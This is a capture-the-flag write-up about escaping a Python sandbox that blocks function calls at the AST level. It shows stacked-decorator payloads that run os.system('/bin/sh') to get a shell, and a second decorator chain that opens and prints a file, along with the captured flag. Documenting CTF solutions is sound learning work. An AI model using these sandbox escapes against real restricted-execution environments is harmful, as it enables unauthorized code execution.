The challenge filters some methods AST-level: the most pressing was calling a method. Importing was not needed.
It was surprisingly constraining, but the basic idea was to create something that is a function call, but it (basically) does not use parentheses on the source code-level.
Try print(open('flag').read())
or os.system('/bin/sh')
...
Idea 1: os
is already imported! And only os.system()
call needs to be circumvented. (I've checked this.)
Idea 2: Decorators use many functions, and these are called under the hood!
For why it occured to me, see a real-world use, like in Flask-Login: lots of functions, and basically no function calls:
def fresh_login_required(func):
# etc...
def decorated_view(*args, **kwargs):
if ...:
return current_app.login_manager.unauthorized()
return func(*args, **kwargs)
return decorated_view
First try:
@wrapper
def wrapped():
pass
This calls wrapper(wrapped)
, and leaves that in the place of the original function.
This can be used to call something with a single argument.
Hmm, os.system
has one argument!
Decorate a variable?
@os.system
'/bin/sh'
--END
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.9) or chardet (3.0.4) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Traceback (most recent call last):
File "treebox.py", line 32, in <module>
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
File "input.py", line 2
'/bin/sh'
^
SyntaxError: invalid syntax
I can only decorate a function.
Oooor... a decorator!
def fake_wrapper(f):
return '/bin/sh'
@os.system
@fake_wrapper
def something():
pass
--END
This was my original solution. CTF{CzeresniaTopolaForsycja}
Bonus solution
When creating this write-up, I have found an other solution.
The basic idea was to use directly open the flag file and print it, so it works non-interactively.
print(open('flag').read())
- open a file
- read from it
- print it
This reminds me of a ROP-chain. Anyway...
All single parameter functions! However, .read
is a method,
and it is not accessible outside of a class. All I had to do
was find an already open file, accessible from os
:
def fake_wrapper1(f):
return 'treebox.py'
@print
@os.sys.stdin.__class__.read
@open
@fake_wrapper1
def something():
pass
--END